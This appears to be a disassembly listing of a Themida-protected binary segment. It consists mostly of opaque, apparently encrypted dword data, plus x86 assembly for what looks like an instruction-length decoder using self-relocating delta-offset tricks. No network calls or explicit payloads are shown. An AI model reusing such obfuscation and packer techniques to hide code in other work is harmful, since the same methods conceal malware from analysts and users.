		dd 52000000h, 8B60D48Bh, 85890842h, 62D7842h, 890C428Bh
		dd 2D783A85h, 10428B06h, 783E8589h, 0B58D062Dh,	62D7878h
		dd 8EA1858Dh, 0D0FF005Bh, 0CC25A61h, 42B58B00h,	8B062D78h
		dd 2D783A85h, 3EBD8306h, 62D78h, 7840Fh, 6890000h, 2E9h
		dd 0CF068800h, 2 dup(0)
		dd 60D48B52h, 8908428Bh, 2D784285h, 0C9B58D06h,	8D062D78h
		dd 5B8EA185h, 61D0FF00h, 42858B5Ah, 0C2062D78h,	858B0004h
		dd 62D7842h, 8589008Bh,	62D7842h, 0CFh,	0B5896000h, 62D789Fh
		dd 789B8589h, 858D062Dh, 6280561h, 8944408Bh, 2D78D885h
		dd 0EB58D06h, 8D062D79h, 5B8EA185h, 61D0FF00h, 789F858Bh
		dd 8BC3062Dh, 2D789B9Dh, 43B70F06h, 8BD8033Ch, 9D03785Bh
		dd 62D789Bh, 324738Bh, 2D789BB5h, 7B8B5606h, 1C738B20h
		dd 789BBD03h, 0B503062Dh, 62D789Bh, 0FFC983FCh,	9F9D8B41h
		dd 8B062D78h, 9B950317h, 83062D78h, 28A04C7h, 840FC084h
		dd 0Fh,	850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h
		dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 9B850386h, 89062D78h
		dd 2D789F85h, 8BF08B06h, 81C18BCEh, 2D78D8BDh, 30000006h
		dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h
		dd 3FF8h, 78D8BD8Bh, 0C83062Dh,	148B0607h, 24C28B07h, 8B813C81h
		dd 57840FC1h, 81000000h, 2D78D8BDh, 30000006h, 0D850FC0h
		dd 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h, 7FFFF8h
		dd 2Dh,	6088340h, 8000F7h, 840F0000h, 1Eh, 78D8BD81h, 62Dh
		dd 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h,	8DCF0608h
		dd 2D784685h, 5D858906h, 8D062833h, 2D78DC85h, 9858906h
		dd 8D062834h, 2D78A385h, 0E1858906h, 0E906280Ch, 13Ch
		dd 4Fh dup(0)
		dd 3201BD83h, 0F010628h, 4AC84h, 11E96000h, 0D1000000h
		dd 97BAF70Fh, 0A083C8E2h, 0CBB5E5ADh, 0DF8562EBh, 283C3BB8h
		dd 85C66131h, 6280D25h,	9860F43h, 60000000h, 4AE681F5h
		dd 61297A04h, 6ADE2D68h, 8B5160B7h, 525659D3h, 81615E58h
		dd 0F2C82404h, 840F353Ah, 1Dh, 17820Fh,	12E90000h, 35000000h
		dd 81403D91h, 853D7404h, 5A21B460h, 0CCC3EDF6h,	0DB5FF2Ch
		dd 0E9062814h, 14h, 0DDF248A4h,	7AB50A61h, 0DD303F76h
		dd 57AEC827h, 4592BD11h, 6F58858Dh, 6160062Bh, 850FD0FFh
		dd 8, 28D0Fh, 61600000h, 18A18589h, 0AE90628h, 64000000h
		dd 0C0635407h, 69986AF9h, 2585C65Ah, 5006280Dh,	18B0Fh
		dd 0E8F80000h, 4, 0A8ADAD56h, 0CE95260h, 5B000000h, 2E683A6h
		dd 4B13F658h, 5A1CD428h, 28A0Fh, 4EB60000h, 50605061h
		dd 61595F56h, 424448Bh,	820F5250h, 6, 8A0Fh, 310F0000h
		dd 14E9h, 0F2609300h, 5AB1BCA5h, 0D2658BE6h, 0AD14EA64h
		dd 58619B11h, 8B585A0Fh, 1C8D0F00h, 0F000000h, 1686h, 11E900h
		dd 0AF120000h, 205E8AA3h, 790EE4ACh, 4103C8Fh, 894FFF55h
		dd 0F042444h, 0D80h, 8E900h, 9C030000h,	1739A1A3h, 6A58834Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0FF28C353h, 28140DB5h, 1830F06h, 0F9000000h
		dd 6F58858Dh, 800F062Bh, 0Eh, 9E9h, 0D8D60000h,	309E551Dh
		dd 0D0FF9BE2h, 10E95060h, 0BF000000h, 0CAEA5AADh, 0F91B2736h
		dd 6AE03203h, 5E8436E9h, 0E9816660h, 0BB66BDF4h, 6161A2BCh
		dd 0BD58589h, 800F0628h, 0Ch, 68A0Fh, 890F0000h, 0
		dd 4E8h, 8FA82F00h, 605250F0h, 0BE8h, 0E4009200h, 6B0A9712h
		dd 8FE45B7Dh, 310F615Eh, 6808BA60h, 5A6108A0h, 0DE95058h
		dd 84000000h, 0C421B6CFh, 0CEE992D9h, 0A121DD32h, 424448Bh
		dd 16870Fh, 11E90000h, 0E9000000h, 497C45D0h, 39B4F842h
		dd 0E26C2FACh, 0AD52B2FFh, 0B660008Bh, 7E934h, 409C0000h
		dd 0E6040BF6h, 4489610Dh, 0FE90424h, 1000000h, 85418ACCh
		dd 1969097Ch, 5E08B1FAh, 0FC58CF56h, 140DB5FFh,	8A0F0628h
		dd 0Ah,	0CA816660h, 8B66F964h, 858D61C7h, 62B6F58h, 0F9D0FFF8h
		dd 0DE9h, 59A86400h, 0B359090Ch, 6E8B7196h, 858994D9h
		dd 6282F95h, 0B870Fh, 0F600000h, 85h, 0FB8B6600h, 2585C661h
		dd 5006280Dh, 7840Fh, 840F0000h, 1, 133568FCh, 860FE648h
		dd 25h,	8E0F5250h, 0
		dd 14E9310Fh, 0EC000000h, 5677520Ch, 0BDC32CC6h, 1593325Ch
		dd 33C0DD0Bh, 5AD40E99h, 24348158h, 71D4CF63h, 8B6660F8h
		dd 0B5FF61DEh, 6282DD5h, 13E9h,	4D5B0400h, 9AE2A9D9h, 0B523DE81h
		dd 0D4622899h, 4A47EBAEh, 3BBB858Dh, 8D0F0628h,	7, 18F0Fh
		dd 0FFF80000h, 5E960D0h, 79000000h, 0FB583DD9h,	61CB8B66h
		dd 2F158589h, 8B600628h, 0CF17BFC3h, 0E9610E54h, 155h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0D4C35343h
		dd 0C0FD84D6h, 5FED8060h, 0B9C3C781h, 50616AACh, 0DE9h
		dd 6DD4B700h, 9187C9F8h, 87FC9A7Fh, 2C89FEAAh, 1810F24h
		dd 0F8000000h, 6AEC8Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0F74A53C3h, 0DE8FC60h, 32000000h
		dd 0DBCEF087h, 8139130Ch, 523E80C3h, 5661B866h,	0C4836158h
		dd 0E960F9FCh, 7, 89A6B170h, 0E89A5ABDh, 0
		dd 8BEA815Ah, 0C7062D7Fh, 0FC45h, 0BA830000h, 6283201h
		dd 98840F01h, 52000000h, 0F6A006Ah, 18A192FFh, 895A0628h
		dd 2D7A5382h, 579A8D06h, 52062D7Ah, 12803C7h, 50530000h
		dd 0BD592FFh, 525A0628h, 7A579A8Dh, 0FF53062Dh,	2D7A53B2h
		dd 1592FF06h, 5A06282Fh, 5074C00Bh, 7A579A8Dh, 7B8D062Dh
		dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h
		dd 39348DEEh, 8D0C752Bh, 280979BAh, 0C4D8B06h, 0C032A4F3h
		dd 75FF52AAh, 79828D08h, 50062809h, 2F9592FFh, 0B5A0628h
		dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh
		dd 0FC0008C2h, 8DD28BFCh, 2D81158Dh, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 6830FECh, 89000000h
		dd 281D359Dh, 158D8906h, 8B062807h, 2810C99Dh, 0BD85C706h
		dd 64062821h, 6A00005Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 1E5AC351h, 13890Fh
		dd 7E80000h, 86000000h,	5D9B2DD8h, 85013A9Fh, 6280185h
		dd 3D85C75Ah, 62811h, 81000000h, 0F14682F0h, 0A5950138h
		dd 0FF062816h, 282EC9B5h, 0C8816606h, 95FF73F2h, 62814D9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BC35141h
		dd 66BB6279h, 6A3DADBFh, 6595FF00h, 8B062804h, 6C5FEBC0h
		dd 0AC983703h, 0BC35E67Ch, 0F7199CA1h, 20B0CA94h, 93C07D0Eh
		dd 3584CEA3h, 4BD64502h, 2BFB300Dh, 8B8D2507h, 0E7FD953Ah
		dd 2DC435FEh, 248539CFh, 3BC5B77Fh, 598A5450h, 0E775D8BEh
		dd 5A26FEE6h, 458F7835h, 92C40451h, 3C12F3E6h, 0C4800985h
		dd 0D0E24F8Eh, 0D8BA5EC4h, 6DFA2D31h, 6E8968Eh,	3000000h
		dd 3E0E63FAh, 0E1B58BD0h, 5B062826h, 0ADC381F9h, 66000073h
		dd 0D233C18Bh, 1A34FFFCh, 24C18159h, 0E924CFB8h, 14h, 0D0F38CF1h
		dd 0EAFDD6EFh, 389F2B33h, 0E5C394DEh, 0B1218D0Bh, 5E7BE981h
		dd 81F51647h, 8533F9E9h, 18B0F2Ah, 0F5000000h, 66130C89h
		dd 0B866F78Bh, 0EA83E4C5h, 75958904h, 81062819h, 0FF8CE8FAh
		dd 10850FFFh, 0F000000h, 21E9FBB7h, 51000000h, 85C14BCAh
		dd 66EC78FCh, 0E9CC0DBEh, 0FFFFFF91h, 255FFDFDh, 76FDE95h
		dd 9B40D7F9h, 0DE0E43A6h, 82E38D8Dh, 6A062Dh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0A4FA2AC3h
		dd 89F5DCF5h, 2807158Dh, 0BE906h, 0EC350000h, 8A3AFE92h
		dd 0F2FD2E4Fh, 0BD85C760h, 4062821h, 6A000071h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0FE29C357h, 49A9DE07h, 0C7021E75h, 28113D85h, 6, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0DB8F6EE9h, 0FF2981DFh, 282B59B5h, 0FFFD8A06h, 2814D995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0DB802676h, 0FF006A15h, 28046595h, 0EBC08B06h
		dd 0C5CF73Ch, 0DF4B38A2h, 67319271h, 0A797D5B5h, 0BE723893h
		dd 0AA845523h, 0E81B585Dh, 88268C4Eh, 9E1DC3CCh, 76AACFC8h
		dd 8FF6DCEFh, 5D259773h, 2A605B39h, 80F677F2h, 0C58D8ABh
		dd 24E97Eh, 45A00000h, 724h, 7 dup(0)
		dd 23E90000h, 8E000005h, 464AC7BDh, 0F9FD7A78h,	0AAAE2B2Dh
		dd 6165E2D8h, 16199694h, 0AEAC7948h, 645E2D31h,	1618E3E7h
		dd 0CBC59599h, 3298284Eh, 795E10EAh, 0A646BB8Eh, 421D0E82h
		dd 28477775h, 694E7EFBh, 1A9E8181h, 4212E87Ch, 0A26F2348h
		dd 0A50B0DD8h, 5A542428h, 56214735h, 0AF7B2F54h, 0DDB347ADh
		dd 81A7130Dh, 0E094B9AFh, 8F01513h, 57450EA2h, 26398E33h
		dd 49DDC587h, 82A7A573h, 0F17730A8h, 1DBB2121h,	177F730Eh
		dd 5F83EF55h, 51F2AEDh,	0CCED81BFh, 7EFBFDC8h, 88ADAF7Ah
		dd 0E60B05D4h, 8050761Ah, 0E5796186h, 0DBA62CE5h, 0FA1E5CD9h
		dd 0F6113961h, 0AE074EEh, 2D1B403Ah, 193E3807h,	54879D31h
		dd 887F73E7h, 2356D38Ch, 6FBB31A3h, 0EFC4354Bh,	0FE6A818Ch
		dd 73624098h, 9E32F47Fh, 45B2h,	10E0DF00h, 9372AA10h, 44067F73h
		dd 11C5B9DEh, 0C57F7393h, 0E69310C9h, 0D0BB312Fh, 1, 0E12E0FDh
		dd 739370A8h, 0DC42047Fh, 82784A70h, 0A37125EEh, 0FACC80A5h
		dd 8D05DF04h, 82804ED4h, 37310105h, 80A651BAh, 481EB2B4h
		dd 0E4E6B17Bh, 0D7A5D7BFh, 9A4E73D9h, 0E2A9CECCh, 38058B44h
		dd 0E9B9BD3Ah, 915D83EFh, 7E32FB8Fh, 988BB0B2h,	6D1C9952h
		dd 49BB312Dh, 76h, 1513E076h, 6E703CF0h, 0CDC39549h, 2729F4A8h
		dd 0E49D3B02h, 0A15AD22Ah, 0D3504E1Bh, 683802CFh, 2FE3086Eh
		dd 0D7FB675Dh, 0B3853F75h, 80B098BDh, 4BDFF969h, 90498F82h
		dd 31D07613h, 56BC1CBBh, 7F733E86h, 705CF0B2h, 53h, 1513E09Dh
		dd 0CDC02F0h, 7592E212h, 0CB2FCDC0h, 0C8966137h, 7095FBFDh
		dd 0EA70298Bh, 53B31F1Dh, 73AF2FEDh, 0F387497Fh, 12E069D2h
		dd 9370A80Eh, 0BE8A7F73h, 0DC4204BCh, 0D3A3C9B7h, 38CCB4D9h
		dd 7393FF22h, 6E27237Fh, 312F88F1h, 12EBBh, 0E05B0000h
		dd 0FFED1214h, 0E9BA5BDBh, 0EA26A48h, 0D4A26838h, 63C9B1D6h
		dd 0BCBE8A3Eh, 1018E397h, 736A72AAh, 0DE44067Fh, 3D3305B9h
		dd 4BE77DBh, 0E76D26BAh, 6FAD131Bh, 97F736Ah, 0C894B07Dh
		dd 0D53BA05Dh, 2F02F26Fh, 143A9A06h, 2DA4048h, 367F7347h
		dd 1E90E74h, 588C576Dh,	0ECAE755Bh, 494313C7h, 0FEF8C8CCh
		dd 4831E5D9h, 0FDC9795Bh, 5722D6FBh, 0CB693055h, 93F55812h
		dd 0BE8454DAh, 0E7CFF4EEh, 86ECE6B5h, 3B350509h, 0DDDBA9CFh
		dd 0FCCC8049h, 0A4709602h, 8D036A2h, 2C795B48h,	460DD66Ah
		dd 9969EFA8h, 410D339Fh, 9E321A3Fh, 9F7827Dh, 56BFC15Ah
		dd 0EC000001h, 80E646A6h, 7F739358h, 70A81ADCh,	47F7393h
		dd 19ECAE42h, 3EAEF32h,	0B1E34A6Bh, 0D7BFE4E6h,	5CE10571h
		dd 0E8E8F453h, 0A676DC48h, 0D27F7309h, 66C7C10h, 755BC4A3h
		dd 71A70DD5h, 8B795B5Ch, 3DA2CDF2h, 0A5671F73h,	0DFADD33Fh
		dd 0E44A4815h, 7A43D7BFh, 90F6F6C6h, 795B6248h,	47C42AECh
		dd 0D797343h, 7F4F19E7h, 0C28B1F85h, 1F443E0Eh,	4101BA58h
		dd 0EDFEDB1Dh, 9A473711h, 0FDCCFCF3h, 895FF339h, 4742BFB9h
		dd 0C1595932h, 4384h, 1FF4B100h, 0D0369602h, 7F739308h
		dd 6C386A2Ch, 60C6D66Ah, 0FF739398h, 88AE1ADCh,	0E79BC0B6h
		dd 25B91F15h, 93B0685Ch, 0A61AFF73h, 22B6B080h,	22F76922h
		dd 0CD2B91FDh, 0A77F7393h, 826168E5h, 68000000h, 0B7B180A6h
		dd 658E6123h, 0D33999F9h, 7F739305h, 0C3D96D2Fh, 755BB410h
		dd 4D3B6022h, 0C5595B27h, 0A8251FEFh, 0B5DAD4A4h, 5B8D00C1h
		dd 5C157779h, 0DDAB769Ch, 7EF140Eh, 947CA1h, 0E3605A2Ah
		dd 970320F3h, 73A3A571h, 0A27320C1h, 0F8089C12h, 1F0D7498h
		dd 9979A119h, 69A9C67h,	8E3C5F0h, 40652773h, 9DC2BC8Ch
		dd 12843DD1h, 44AA163Fh, 79766679h, 0FE3CB97Bh,	0B85F7DAh
		dd 0A236A538h, 421F467h, 3E143898h, 27007880h, 634E64F8h
		dd 8575205Dh, 8AB09EC3h, 0B39BC0BAh, 7F79491Fh,	0C5A0C402h
		dd 60DAF9A2h, 0F6C69C30h, 0EFE3D7FCh, 657850C4h, 0DEAE34EDh
		dd 936367E4h, 0EEC07499h, 0FE645A2Ch, 43690DD9h, 78477973h
		dd 31EAEA7Eh, 827C4B71h, 0BE1755Dh, 0C0C4413Bh,	1AD1F6F0h
		dd 3, 0E03A8721h, 40F4190Fh, 9D517670h,	0F7ABD0D2h, 55092E28h
		dd 0B1658A88h, 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h
		dd 5E08950h, 4,	8704E883h, 248B2404h, 26886824h, 1C890000h
		dd 0E7895724h, 4C781h, 0EF830000h, 243C8704h, 240C895Ch
		dd 179C6856h, 815E0D61h, 190970F6h, 66C68130h, 56C8B564h
		dd 0EC835E5Bh, 24248904h, 4240481h, 59000000h, 98168h
		dd 24048900h, 8B8h, 89C80100h, 0C8B5818h, 0E7895724h, 4C781h
		dd 0C7810000h, 4, 5C243C87h, 5B2434FFh,	0E904C483h, 0FFFAF771h
		dd 0F1EC42F5h, 874D173h, 0E7B8F78Bh, 3062D87h, 1DE0FFC5h
		dd 661A6877h, 46081F16h, 0D55BCEDh, 7D027F46h, 9D399E3Dh
		dd 0B94A9C0Dh, 0D44AED49h, 0D8445010h, 6C1F4213h, 0BD2B66BFh
		dd 0A3F22463h, 3063071h, 587A4C35h, 87FC9D70h, 5881DE85h
		dd 0E433A085h, 0EAD130F1h, 4F1D3405h, 4E178888h, 0B63C9C33h
		dd 99339D3Fh, 0CC30F4DCh, 0D93CCD35h, 8EB0C2C4h, 9F1B8360h
		dd 80B79235h, 0C339D35h, 30DBCD35h, 0B9339D35h,	456B5E6Dh
		dd 0E737B971h, 2437B971h, 0D9339D35h, 97325E65h, 55DA225Dh
		dd 59339D36h, 9ADBCB35h, 0EC339D35h, 0EF6D5E6Bh, 0B237B941h
		dd 8537B971h, 8A339D35h, 1D2A5E63h, 86ED26A9h, 0FF50EBC3h
		dd 41469E8Ah, 4BBB23B0h, 6033F733h, 99339EDDh, 0F68BD35h
		dd 426F146Eh, 17771C31h, 99338931h, 0F60DE35h, 0DF55CEADh
		dd 3C69F261h, 99339DB7h, 0F8DFB35h, 0D4610DA1h,	5563C356h
		dd 0FFA353BEh, 41CE5E8Ah, 4BBB3DB0h, 6433F733h,	99339EDDh
		dd 0F6CBD35h, 424F146Ah, 17771C31h, 99338731h, 0F64DA35h
		dd 76E6C994h, 5515DAF2h, 0C9636EBEh, 0C7B69267h, 8F339D35h
		dd 33339D33h, 400784EEh, 0FD3CF7D7h, 0EE492253h, 37BAC56Fh
		dd 0CE33F711h, 0CC339EDDh, 0A56CBD35h, 174F146Ah, 0BD771C31h
		dd 0CC338831h, 0A564DA35h, 0BB3C3702h, 99339D2Ch, 0CC3389DCh
		dd 8E430E35h, 9EC4E578h, 7DB75297h, 661ACD13h, 801AE975h
		dd 0A6CC682Dh, 9F1B82A0h, 0CB8C387h, 8E659D5Fh,	33339D36h
		dd 0C7F0C315h, 0C817E9BCh, 6217D9B4h, 33339D21h, 32F0CB73h
		dd 25D91C65h, 390CFD64h, 327A20B6h, 0EC339B1Dh,	98E1E3Ch
		dd 6635B521h, 60638441h, 0E38B5DBEh, 45339D31h,	4E310CB0h
		dd 6DAE1033h, 6635B790h, 4F6BC6E6h, 4E275888h, 24479D33h
		dd 0E38BCE65h, 45339D31h, 4E310CB0h, 7EAE1033h,	6635B797h
		dd 0AA6BC6E6h, 25E94FB4h, 0B83C5DBEh, 99339D34h, 64AE10CCh
		dd 6935B0BDh, 33338EB3h, 99387535h, 6E519D35h, 0ECE810Bh
		dd 9129CF34h, 0C0C016B3h, 0A6FF18B8h, 0ED559B18h, 3CE362C7h
		dd 993395BBh, 433CCD35h, 66339D35h, 3CF3966Ch, 9933FCB1h
		dd 9A33F735h, 66339EDDh, 0F06DBD35h, 0BD47146Bh, 0E8771C31h
		dd 66338B31h, 0F065DB35h, 962787E1h, 0CC3391B2h, 60BE9235h
		dd 3C339D35h, 99339DBEh, 0A2AE1035h, 0DE35B57Ah, 33339D36h
		dd 71629D5Fh, 0CC339D36h, 3FF0C415h, 3717D1BCh,	9D17D9B4h
		dd 0CC339D29h, 8F0CC74h, 0E8C19BDFh, 26E63025h,	51BE7ECAh
		dd 601E1585h, 0F2E41C53h, 55B61074h, 3335B05Fh,	3433F7E5h
		dd 33339EDDh, 5A69BD35h, 0E867146Fh, 42771C31h
		dd 33338931h, 5A61DF35h, 32B8FB44h, 0E23C5D3Eh,	33339D7Eh
		dd 993398DCh, 0E99F9235h, 0FBBE00F1h, 351BD25Bh, 21E41653h
		dd 0CC339D34h, 43012366h, 0CC6A8F4Ah, 0C933F7D6h, 0CC339EDDh
		dd 0A56BBD35h, 1777146Dh, 0BD771C31h, 0CC338631h, 0A563DD35h
		dd 3B881B72h, 0F21A5E8Dh, 0AAE22A3Ah, 0EB0B7B8Ah, 1EBB28A8h
		dd 14E41633h, 0E15951B0h, 99C31733h, 0B23C65E5h, 99339D3Eh
		dd 0CC36193Ah, 0E7559D35h, 38520BC2h, 0F2B792F5h, 0C3339D35h
		dd 66339FB5h, 0BE472B35h, 0B17CF3A8h, 9D33F733h, 66339EDDh
		dd 0F06ABD35h, 0BD7F146Ch, 0E8771C31h, 66338B31h, 0F062DC35h
		dd 604F83B2h, 0CC339E8Dh, 3733F735h, 33339EDDh,	5A6ABD35h
		dd 0E87F146Ch, 42771C31h, 33338431h, 5A62DC35h,	3C8459F2h
		dd 0ACB80A2Bh, 3ADB7ECAh, 4E339D35h, 2F8C5C30h,	0D35E3646h
		dd 2BE21C53h, 7070C355h, 0CC339D30h, 8206836Bh,	0AD8E10C4h
		dd 1435B0BDh, 0E1BFF5B8h, 3A4E2533h, 0B600177Eh, 9F1BB12Ch
		dd 0BEF2521Eh, 1E158551h, 0E41C5360h, 0B61074F2h, 35B05F55h
		dd 33F7E533h, 339EDD34h, 5E98333h, 0C08BA4F3h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0AAC35040h, 572FC7E8h
		dd 77D9E181h, 0F5A6E1Dh, 2083h,	0FE800h, 5A110000h, 5F61B8C6h
		dd 0D06BBFF9h, 3ACEE1D7h, 6E97Ah, 3E9F0000h, 0B85C23F7h
		dd 0C2816659h, 0C38B22BDh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0BCC35646h, 98DBFA0Bh, 0F181AD0h, 8B66C8B7h
		dd 6AC08BF0h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 21E2C352h, 4EC4C038h, 0E9965D70h
		dd 14h,	78BD0773h, 58A9BFC7h, 0B3BF9147h, 55EA87BCh, 49D20885h
		dd 149BD83h, 75000628h,	0C5BD8309h, 62814h, 53501974h
		dd 7AB8C08Bh, 89000004h, 282E5585h, 0C59D8D06h,	0FF062AA5h
		dd 83585BD3h, 2814C5BDh, 17740006h, 7AB85350h, 89000004h
		dd 282E5585h, 669D8D06h, 0FF062AA2h, 66585BD3h,	9F35D981h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 11C35343h
		dd 0ECCE3BABh, 0A07B4D3Dh, 7AB96635h, 9DD1819Dh, 8B57B2FFh
		dd 13E8C0h, 0FF330000h,	0C89AB39Dh, 0FEC5A0ABh,	230F5D8Bh
		dd 0CA325DF4h, 8B6660EEh, 28B456F0h, 815F6159h,	6B8EC7h
		dd 13E900h, 38680000h, 4C429571h, 735510F3h, 0E1F08075h
		dd 30CF2EF1h, 582ABE4Dh, 0C681647Ch, 9B83C27Fh,	0BE950h
		dd 0C9B0000h, 0EE39D653h, 0FAE9C68Dh, 0F8B5BE1h, 5F536060h
		dd 880Fh, 66610000h, 0D6B8F781h, 0ABF18161h, 0E9422260h
		dd 0Bh,	0AB890CD9h, 0B1A24753h,	8120F540h, 1ACF6F1h, 5CC1813Ch
		dd 80739D07h, 605116F2h, 8A5EFC50h, 78F61DCh, 1EF83F9h
		dd 3810Fh, 8B660000h, 4F4F4FC6h, 0F01EE83h, 1585h, 0E9D68B00h
		dd 34h,	948666DDh, 1E04038Bh, 0A9B7C3h,	10E9E355h, 44000000h
		dd 0AA37B579h, 0CD73ADCEh, 5297592h, 0E99C0363h, 0FFFFFF76h
		dd 0E0CDA93Ah, 3467FA3Fh, 0CE9A0DFh, 1C8E9h, 8 dup(41888800h)
		dd 4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 300h, 14h dup(0)
		dd 0CC200h, 758F29h, 100h, 11h dup(0)
		dd 353E900h, 0E8550000h, 0
		dd 8FED815Dh, 60062D90h, 8FDC85C7h, 62Dh, 81660000h, 0FA1663Eh
		dd 0F85h, 0E085C700h, 6062D8Fh,	0E9000000h, 24h, 8FE4858Dh
		dd 8D50062Dh, 2D903485h, 6A565006h, 1DE800h, 0C4830000h
		dd 0FF2510h, 85890000h,	62D8FE0h, 0E0B50361h, 8B062D8Fh
		dd 2D8FDC85h
		db 6, 5Dh, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5A2460
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5A246C
; ---------------------------------------------------------------------------

loc_5A2460:				; CODE XREF: Themida_:005A2449j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4

loc_5A246C:				; CODE XREF: Themida_:005A245Bj
		push	ebx
		push	esi
		push	edi

loc_5A246F:				; CODE XREF: Themida_:005A24C4j
					; Themida_:005A24E0j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl

loc_5A2482:				; CODE XREF: Themida_:005A24A9j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 62D9146h
		lea	ebp, [ebp+62D8FBCh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A24AF
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A2482

loc_5A24AF:				; CODE XREF: Themida_:005A249Ej
		cmp	cl, 0Bh
		jz	loc_5A250C
		cmp	al, 66h
		jnz	loc_5A24ED
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5A246F
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5A24E5
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5A246F
; ---------------------------------------------------------------------------

loc_5A24E5:				; CODE XREF: Themida_:005A24D2j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4

loc_5A24ED:				; CODE XREF: Themida_:005A24BAj
		cmp	al, 67h
		jnz	loc_5A246F
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5A246F
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5A246F
; ---------------------------------------------------------------------------

loc_5A250C:				; CODE XREF: Themida_:005A24B2j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A2538
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A253D
; ---------------------------------------------------------------------------

loc_5A2538:				; CODE XREF: Themida_:005A2517j
		movzx	edi, al
		shr	edi, 1

loc_5A253D:				; CODE XREF: Themida_:005A2533j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 62D91FEh
		lea	ebp, [ebp+62D8EBCh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5A26BF
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A2603
		dec	ecx
		jz	loc_5A25E6
		dec	ecx
		jnz	loc_5A2656
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A2652
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A25C5
		mov	byte ptr [ebp+0Bh], 2

loc_5A25C5:				; CODE XREF: Themida_:005A25BBj
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 62D928Ah
		mov	dword ptr [ebp+62D8FDCh], 1
		pop	ebp
		jmp	loc_5A2656
; ---------------------------------------------------------------------------

loc_5A25E6:				; CODE XREF: Themida_:005A25A0j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A2630
